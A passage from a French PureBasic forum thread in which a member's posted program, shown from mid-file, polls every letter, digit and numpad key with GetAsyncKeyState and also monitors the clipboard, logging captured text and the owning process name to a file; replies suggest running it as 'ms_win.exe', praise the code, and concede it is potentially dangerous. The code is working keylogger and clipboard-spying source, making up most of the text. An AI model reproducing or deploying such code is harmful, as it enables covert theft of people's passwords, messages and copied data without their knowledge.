  If GetAsyncKeyState_(#VK_LSHIFT)<0 Or majuscule = 1 Or GetAsyncKeyState_(#VK_RSHIFT)<0
    If GetAsyncKeyState_(#VK_A)<0 And down_a = 0
    chaine$ = chaine$+"A"
    down_a = 1
  ElseIf GetAsyncKeyState_(#VK_A)>=0
    down_a = 0
  EndIf
  If GetAsyncKeyState_(#VK_B)<0 And down_b = 0
    chaine$ = chaine$+"B"
    down_b = 1
  ElseIf GetAsyncKeyState_(#VK_B)>=0
    down_b = 0
  EndIf
  If GetAsyncKeyState_(#VK_C)<0 And down_c = 0
    chaine$ = chaine$+"C"
    down_c = 1
  ElseIf GetAsyncKeyState_(#VK_C)>=0
    down_c = 0
  EndIf
  If GetAsyncKeyState_(#VK_D)<0 And down_d = 0
    chaine$ = chaine$+"D"
    down_d = 1
  ElseIf GetAsyncKeyState_(#VK_D)>=0
    down_d = 0
  EndIf
  If GetAsyncKeyState_(#VK_E)<0 And down_e = 0
    chaine$ = chaine$+"E"
    down_e = 1
  ElseIf GetAsyncKeyState_(#VK_E)>=0
    down_e = 0
  EndIf
  If GetAsyncKeyState_(#VK_F)<0 And down_f = 0
    chaine$ = chaine$+"F"
    down_f = 1
  ElseIf GetAsyncKeyState_(#VK_F)>=0
    down_f = 0
  EndIf
  If GetAsyncKeyState_(#VK_G)<0 And down_g = 0
    chaine$ = chaine$+"G"
    down_g = 1
  ElseIf GetAsyncKeyState_(#VK_G)>=0
    down_g = 0
  EndIf
  If GetAsyncKeyState_(#VK_H)<0 And down_h = 0
    chaine$ = chaine$+"H"
    down_h = 1
  ElseIf GetAsyncKeyState_(#VK_H)>=0
    down_h = 0
  EndIf
  If GetAsyncKeyState_(#VK_I)<0 And down_i = 0
    chaine$ = chaine$+"I"
    down_i = 1
  ElseIf GetAsyncKeyState_(#VK_I)>=0
    down_i = 0
  EndIf
  If GetAsyncKeyState_(#VK_J)<0 And down_j = 0
    chaine$ = chaine$+"J"
    down_j = 1
  ElseIf GetAsyncKeyState_(#VK_J)>=0
    down_j = 0
  EndIf
  If GetAsyncKeyState_(#VK_K)<0 And down_k = 0
    chaine$ = chaine$+"K"
    down_k = 1
  ElseIf GetAsyncKeyState_(#VK_K)>=0
    down_k = 0
  EndIf
  
  If GetAsyncKeyState_(#VK_L)<0 And down_l = 0
    chaine$ = chaine$+"L"
    down_l = 1
  ElseIf GetAsyncKeyState_(#VK_L)>=0
    down_l = 0
  EndIf
  If GetAsyncKeyState_(#VK_M)<0 And down_m = 0
    chaine$ = chaine$+"M"
    down_m = 1
  ElseIf GetAsyncKeyState_(#VK_M)>=0
    down_m = 0
  EndIf
  If GetAsyncKeyState_(#VK_N)<0 And down_n = 0
    chaine$ = chaine$+"N"
    down_n = 1
  ElseIf GetAsyncKeyState_(#VK_N)>=0
    down_n = 0
  EndIf
  If GetAsyncKeyState_(#VK_O)<0 And down_o = 0
    chaine$ = chaine$+"O"
    down_o = 1
  ElseIf GetAsyncKeyState_(#VK_O)>=0
    down_o = 0
  EndIf
  If GetAsyncKeyState_(#VK_P)<0 And down_p = 0
    chaine$ = chaine$+"P"
    down_p = 1
  ElseIf GetAsyncKeyState_(#VK_P)>=0
    down_p = 0
  EndIf
  If GetAsyncKeyState_(#VK_Q)<0 And down_q = 0
    chaine$ = chaine$+"Q"
    down_q = 1
  ElseIf GetAsyncKeyState_(#VK_Q)>=0
    down_q = 0
  EndIf
  If GetAsyncKeyState_(#VK_R)<0 And down_r = 0
    chaine$ = chaine$+"R"
    down_r = 1
  ElseIf GetAsyncKeyState_(#VK_R)>=0
    down_r = 0
  EndIf
  If GetAsyncKeyState_(#VK_S)<0 And down_s = 0
    chaine$ = chaine$+"S"
    down_s = 1
  ElseIf GetAsyncKeyState_(#VK_S)>=0
    down_s = 0
  EndIf
  If GetAsyncKeyState_(#VK_T)<0 And down_t = 0
    chaine$ = chaine$+"T"
    down_t = 1
  ElseIf GetAsyncKeyState_(#VK_T)>=0
    down_t = 0
  EndIf
  If GetAsyncKeyState_(#VK_U)<0 And down_u = 0
    chaine$ = chaine$+"U"
    down_u = 1
  ElseIf GetAsyncKeyState_(#VK_U)>=0
    down_u = 0
  EndIf
  If GetAsyncKeyState_(#VK_V)<0 And down_v = 0
    chaine$ = chaine$+"V"
    down_v = 1
  ElseIf GetAsyncKeyState_(#VK_V)>=0
    down_v = 0
  EndIf
  If GetAsyncKeyState_(#VK_W)<0 And down_w = 0
    chaine$ = chaine$+"W"
    down_w = 1
  ElseIf GetAsyncKeyState_(#VK_W)>=0
    down_w = 0
  EndIf
  If GetAsyncKeyState_(#VK_X)<0 And down_x = 0
    chaine$ = chaine$+"X"
    down_x = 1
  ElseIf GetAsyncKeyState_(#VK_X)>=0
    down_x = 0
  EndIf
  If GetAsyncKeyState_(#VK_Y)<0 And down_y = 0
    chaine$ = chaine$+"Y"
    down_y = 1
  ElseIf GetAsyncKeyState_(#VK_Y)>=0
    down_y = 0
  EndIf
  If GetAsyncKeyState_(#VK_Z)<0 And down_z = 0
    chaine$ = chaine$+"Z"
    down_z = 1
  ElseIf GetAsyncKeyState_(#VK_Z)>=0
    down_z = 0
  EndIf
    If GetAsyncKeyState_(#VK_0)<0 And down_0 = 0
      chaine$ = chaine$+"0"
      down_0 = 1
    ElseIf GetAsyncKeyState_(#VK_0)>=0
      down_0 = 0
    EndIf
    If GetAsyncKeyState_(#VK_1)<0 And down_1 = 0
      chaine$ = chaine$+"1"
      down_1 = 1
    ElseIf GetAsyncKeyState_(#VK_1)>=0
      down_1 = 0
    EndIf
    If GetAsyncKeyState_(#VK_2)<0 And down_2 = 0
      chaine$ = chaine$+"2"
      down_2 = 1
    ElseIf GetAsyncKeyState_(#VK_2)>=0
      down_2 = 0
    EndIf
    If GetAsyncKeyState_(#VK_3)<0 And down_3 = 0
      chaine$ = chaine$+"3"
      down_3 = 1
    ElseIf GetAsyncKeyState_(#VK_3)>=0
      down_3 = 0
    EndIf
    If GetAsyncKeyState_(#VK_4)<0 And down_4 = 0
      chaine$ = chaine$+"4"
      down_4 = 1
    ElseIf GetAsyncKeyState_(#VK_4)>=0
      down_4 = 0
    EndIf
    If GetAsyncKeyState_(#VK_5)<0 And down_5 = 0
      chaine$ = chaine$+"5"
      down_5 = 1
    ElseIf GetAsyncKeyState_(#VK_5)>=0
      down_5 = 0
    EndIf
    If GetAsyncKeyState_(#VK_6)<0 And down_6 = 0
      chaine$ = chaine$+"6"
      down_6 = 1
    ElseIf GetAsyncKeyState_(#VK_6)>=0
      down_6 = 0
    EndIf
    If GetAsyncKeyState_(#VK_7)<0 And down_7 = 0
      chaine$ = chaine$+"7"
      down_7 = 1
    ElseIf GetAsyncKeyState_(#VK_7)>=0
      down_7 = 0
    EndIf
    If GetAsyncKeyState_(#VK_8)<0 And down_8 = 0
      chaine$ = chaine$+"8"
      down_8 = 1
    ElseIf GetAsyncKeyState_(#VK_8)>=0
      down_8 = 0
    EndIf
    If GetAsyncKeyState_(#VK_9)<0 And down_9 = 0
      chaine$ = chaine$+"9"
      down_9 = 1
    ElseIf GetAsyncKeyState_(#VK_9)>=0
      down_9 = 0
    EndIf
  Else
    If GetAsyncKeyState_(#VK_A)<0 And down_a = 0
    chaine$ = chaine$+"a"
    down_a = 1
  ElseIf GetAsyncKeyState_(#VK_A)>=0
    down_a = 0
  EndIf
  If GetAsyncKeyState_(#VK_B)<0 And down_b = 0
    chaine$ = chaine$+"b"
    down_b = 1
  ElseIf GetAsyncKeyState_(#VK_B)>=0
    down_b = 0
  EndIf
  If GetAsyncKeyState_(#VK_C)<0 And down_c = 0
    chaine$ = chaine$+"c"
    down_c = 1
  ElseIf GetAsyncKeyState_(#VK_C)>=0
    down_c = 0
  EndIf
  If GetAsyncKeyState_(#VK_D)<0 And down_d = 0
    chaine$ = chaine$+"d"
    down_d = 1
  ElseIf GetAsyncKeyState_(#VK_D)>=0
    down_d = 0
  EndIf
  If GetAsyncKeyState_(#VK_E)<0 And down_e = 0
    chaine$ = chaine$+"e"
    down_e = 1
  ElseIf GetAsyncKeyState_(#VK_E)>=0
    down_e = 0
  EndIf
  If GetAsyncKeyState_(#VK_F)<0 And down_f = 0
    chaine$ = chaine$+"f"
    down_f = 1
  ElseIf GetAsyncKeyState_(#VK_F)>=0
    down_f = 0
  EndIf
  If GetAsyncKeyState_(#VK_G)<0 And down_g = 0
    chaine$ = chaine$+"g"
    down_g = 1
  ElseIf GetAsyncKeyState_(#VK_G)>=0
    down_g = 0
  EndIf
  If GetAsyncKeyState_(#VK_H)<0 And down_h = 0
    chaine$ = chaine$+"h"
    down_h = 1
  ElseIf GetAsyncKeyState_(#VK_H)>=0
    down_h = 0
  EndIf
  If GetAsyncKeyState_(#VK_I)<0 And down_i = 0
    chaine$ = chaine$+"i"
    down_i = 1
  ElseIf GetAsyncKeyState_(#VK_I)>=0
    down_i = 0
  EndIf
  If GetAsyncKeyState_(#VK_J)<0 And down_j = 0
    chaine$ = chaine$+"j"
    down_j = 1
  ElseIf GetAsyncKeyState_(#VK_J)>=0
    down_j = 0
  EndIf
  If GetAsyncKeyState_(#VK_K)<0 And down_k = 0
    chaine$ = chaine$+"k"
    down_k = 1
  ElseIf GetAsyncKeyState_(#VK_K)>=0
    down_k = 0
  EndIf
  
  If GetAsyncKeyState_(#VK_L)<0 And down_l = 0
    chaine$ = chaine$+"l"
    down_l = 1
  ElseIf GetAsyncKeyState_(#VK_L)>=0
    down_l = 0
  EndIf
  If GetAsyncKeyState_(#VK_M)<0 And down_m = 0
    chaine$ = chaine$+"m"
    down_m = 1
  ElseIf GetAsyncKeyState_(#VK_M)>=0
    down_m = 0
  EndIf
  If GetAsyncKeyState_(#VK_N)<0 And down_n = 0
    chaine$ = chaine$+"n"
    down_n = 1
  ElseIf GetAsyncKeyState_(#VK_N)>=0
    down_n = 0
  EndIf
  If GetAsyncKeyState_(#VK_O)<0 And down_o = 0
    chaine$ = chaine$+"o"
    down_o = 1
  ElseIf GetAsyncKeyState_(#VK_O)>=0
    down_o = 0
  EndIf
  If GetAsyncKeyState_(#VK_P)<0 And down_p = 0
    chaine$ = chaine$+"p"
    down_p = 1
  ElseIf GetAsyncKeyState_(#VK_P)>=0
    down_p = 0
  EndIf
  If GetAsyncKeyState_(#VK_Q)<0 And down_q = 0
    chaine$ = chaine$+"q"
    down_q = 1
  ElseIf GetAsyncKeyState_(#VK_Q)>=0
    down_q = 0
  EndIf
  If GetAsyncKeyState_(#VK_R)<0 And down_r = 0
    chaine$ = chaine$+"r"
    down_r = 1
  ElseIf GetAsyncKeyState_(#VK_R)>=0
    down_r = 0
  EndIf
  If GetAsyncKeyState_(#VK_S)<0 And down_s = 0
    chaine$ = chaine$+"s"
    down_s = 1
  ElseIf GetAsyncKeyState_(#VK_S)>=0
    down_s = 0
  EndIf
  If GetAsyncKeyState_(#VK_T)<0 And down_t = 0
    chaine$ = chaine$+"t"
    down_t = 1
  ElseIf GetAsyncKeyState_(#VK_T)>=0
    down_t = 0
  EndIf
  If GetAsyncKeyState_(#VK_U)<0 And down_u = 0
    chaine$ = chaine$+"u"
    down_u = 1
  ElseIf GetAsyncKeyState_(#VK_U)>=0
    down_u = 0
  EndIf
  If GetAsyncKeyState_(#VK_V)<0 And down_v = 0
    chaine$ = chaine$+"v"
    down_v = 1
  ElseIf GetAsyncKeyState_(#VK_V)>=0
    down_v = 0
  EndIf
  If GetAsyncKeyState_(#VK_W)<0 And down_w = 0
    chaine$ = chaine$+"w"
    down_w = 1
  ElseIf GetAsyncKeyState_(#VK_W)>=0
    down_w = 0
  EndIf
  If GetAsyncKeyState_(#VK_X)<0 And down_x = 0
    chaine$ = chaine$+"x"
    down_x = 1
  ElseIf GetAsyncKeyState_(#VK_X)>=0
    down_x = 0
  EndIf
  If GetAsyncKeyState_(#VK_Y)<0 And down_y = 0
    chaine$ = chaine$+"y"
    down_y = 1
  ElseIf GetAsyncKeyState_(#VK_Y)>=0
    down_y = 0
  EndIf
  If GetAsyncKeyState_(#VK_Z)<0 And down_z = 0
    chaine$ = chaine$+"z"
    down_z = 1
  ElseIf GetAsyncKeyState_(#VK_Z)>=0
    down_z = 0
  EndIf
    If GetAsyncKeyState_(#VK_0)<0 And down_aa = 0
      chaine$ = chaine$+"à"
      down_aa = 1
    ElseIf GetAsyncKeyState_(#VK_0)>=0
      down_aa = 0
    EndIf
    If GetAsyncKeyState_(#VK_1)<0 And down_et = 0
      chaine$ = chaine$+"&"
      down_et = 1
    ElseIf GetAsyncKeyState_(#VK_1)>=0
      down_et = 0
    EndIf
    If GetAsyncKeyState_(#VK_2)<0 And down_ee = 0
      chaine$ = chaine$+"é"
      down_ee = 1
    ElseIf GetAsyncKeyState_(#VK_2)>=0
      down_ee = 0
    EndIf
    If GetAsyncKeyState_(#VK_3)<0 And down_gui = 0
      chaine$ = chaine$+Chr(34)
      down_gui = 1
    ElseIf GetAsyncKeyState_(#VK_3)>=0
      down_gui = 0
    EndIf
    If GetAsyncKeyState_(#VK_4)<0 And down_apos = 0
      chaine$ = chaine$+Chr(39)
      down_apos = 1
    ElseIf GetAsyncKeyState_(#VK_4)>=0
      down_apos = 0
    EndIf
    If GetAsyncKeyState_(#VK_5)<0 And down_parag = 0
      chaine$ = chaine$+Chr(40)
      down_parag = 1
    ElseIf GetAsyncKeyState_(#VK_5)>=0
      down_parag = 0
    EndIf
    If GetAsyncKeyState_(#VK_6)<0 And down_trait = 0
      chaine$ = chaine$+"-"
      down_trait = 1
    ElseIf GetAsyncKeyState_(#VK_6)>=0
      down_trait = 0
    EndIf
    If GetAsyncKeyState_(#VK_7)<0 And down_eee = 0
      chaine$ = chaine$+"è"
      down_eee = 1
    ElseIf GetAsyncKeyState_(#VK_7)>=0
      down_eee = 0
    EndIf
    If GetAsyncKeyState_(#VK_8)<0 And down_under = 0
      chaine$ = chaine$+"_"
      down_under = 1
    ElseIf GetAsyncKeyState_(#VK_8)>=0
      down_under = 0
    EndIf
    If GetAsyncKeyState_(#VK_9)<0 And down_cc = 0
      chaine$ = chaine$+"ç"
      down_cc = 1
    ElseIf GetAsyncKeyState_(#VK_9)>=0
      down_cc = 0
    EndIf
  EndIf 
Else
  If GetAsyncKeyState_(#VK_V)<0 And down_collage = 0
    info_clipboard = "Collage du presse-papier"
    presse_papier = GetClipboardText()
    process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
    nom_proclipboard = FindWindowProcessName (process_clipboard)
    ecriture_fichier(#presse_papier)
    down_collage = 1
  ElseIf GetAsyncKeyState_(#VK_V)>=0
      down_collage = 0
  EndIf

EndIf 

;--------gestion pad numérique
If verrou_num = 1
  If GetAsyncKeyState_(#VK_NUMPAD0)<0 And down_NUMPAD0 = 0
    chaine$ = chaine$+"0"
    down_NUMPAD0 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD0)>=0
    down_NUMPAD0 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD1)<0 And down_NUMPAD1 = 0
    chaine$ = chaine$+"1"
    down_NUMPAD1 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD1)>=0
    down_NUMPAD1 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD2)<0 And down_NUMPAD2 = 0
    chaine$ = chaine$+"2"
    down_NUMPAD2 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD2)>=0
    down_NUMPAD2 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD3)<0 And down_NUMPAD3 = 0
    chaine$ = chaine$+"3"
    down_NUMPAD3 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD3)>=0
    down_NUMPAD3 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD4)<0 And down_NUMPAD4 = 0
    chaine$ = chaine$+"4"
    down_NUMPAD4 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD4)>=0
    down_NUMPAD4 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD5)<0 And down_NUMPAD5 = 0
    chaine$ = chaine$+"5"
    down_NUMPAD5 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD5)>=0
    down_NUMPAD5 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD6)<0 And down_NUMPAD6 = 0
    chaine$ = chaine$+"6"
    down_NUMPAD6 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD6)>=0
    down_NUMPAD6 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD7)<0 And down_NUMPAD7 = 0
    chaine$ = chaine$+"7"
    down_NUMPAD7 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD7)>=0
    down_NUMPAD7 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD8)<0 And down_NUMPAD8 = 0
    chaine$ = chaine$+"8"
    down_NUMPAD8 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD8)>=0
    down_NUMPAD8 = 0
  EndIf
  If GetAsyncKeyState_(#VK_NUMPAD9)<0 And down_NUMPAD9 = 0
    chaine$ = chaine$+"9"
    down_NUMPAD9 = 1
  ElseIf GetAsyncKeyState_(#VK_NUMPAD9)>=0
    down_NUMPAD9 = 0
  EndIf
EndIf 

Return

;------------scan presse papier
scan_clipboard:

presse_papier = GetClipboardText()

If presse_papier <> "" And presse_papier <> memo_presse
  info_clipboard = "Copie dans le presse-papier"
  process_clipboard = GetClipboardOwner_() ; recherche process qui utilise le presse_papier
  nom_proclipboard = FindWindowProcessName (process_clipboard)
  ecriture_fichier(#presse_papier)
  memo_presse = presse_papier
EndIf

Return
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Message par Backup »

tu peux remplacer ça :

Code : Tout sélectionner

;------ vérifie si le programme est déjà lancé pour ne pas le lancer 2 fois
mon_prog.s = "ms_win.exe" ; nom de mon appli a changer si je change le nom de compilation
compteur_prog = 0
Gosub GetProcessList
ForEach Process32 ()
      exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
      If exe$ = mon_prog
            compteur_prog+1
            If compteur_prog>1
                  End
            EndIf
      EndIf
Next
;*****************************************
par ça :

Code : Tout sélectionner

If SetForegroundWindow_(FindWindow_(#Null,"ms_win.exe"))<> 0
      End
EndIf

:lol: :lol: c'est puissant les apis :D

ps : il est excellent ton code !! :D
Dernière modification par Backup le ven. 07/nov./2008 11:53, modifié 1 fois.
Avatar de l’utilisateur
Ar-S
Messages : 9539
Inscription : dim. 09/oct./2005 16:51
Contact :

Message par Ar-S »

pour ta procedure de détection

Code : Tout sélectionner

mon_prog.s = "pompeur.exe" ; nom de mon appli a changer si je change le nom de compilation
compteur_prog = 0
Gosub GetProcessList
ForEach Process32 ()
  exe$ = GetFilePart (PeekS (@Process32 ()\szExeFile))
  If exe$ = mon_prog
    compteur_prog+1
    If compteur_prog>1
      End
    EndIf
  EndIf
Next
tu ferais mieux de le détecter via son PiD ou Handle. On ne sait jamais si quelqu'un télécharge 2 fois le soft et pour ne pas ecraser le 1er il le renomme. s'il lance le second à lors que le 1er tourne dejà ta routine ne marchera pas. Y'a peu de chance que ça arrive mais quitte a utiliser une vérif, autant être 100% sûr.
Mais c'est vrai qu'un tel code est potentiellement dangereux. Mais bon, tout programme pourrait être dangereux en 1 ligne de code..
Dernière modification par Ar-S le ven. 07/nov./2008 11:57, modifié 1 fois.
~~~~Règles du forum ~~~~
⋅.˳˳.⋅ॱ˙˙ॱ⋅.˳Ar-S ˳.⋅ॱ˙˙ॱ⋅.˳˳.⋅
W11x64 PB 6.x
Section HORS SUJET : ICI
LDV MULTIMEDIA : Dépannage informatique & mes Logiciels PB
UPLOAD D'IMAGES : Uploader des images de vos logiciels
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Message par Backup »

Ar-S a écrit :pour ta procedure de détection.
hum j'ai deja repondu juste au dessus :D

mais ta réflexion est valable !! :)

quoique le handle change a chaque prg !!
Répondre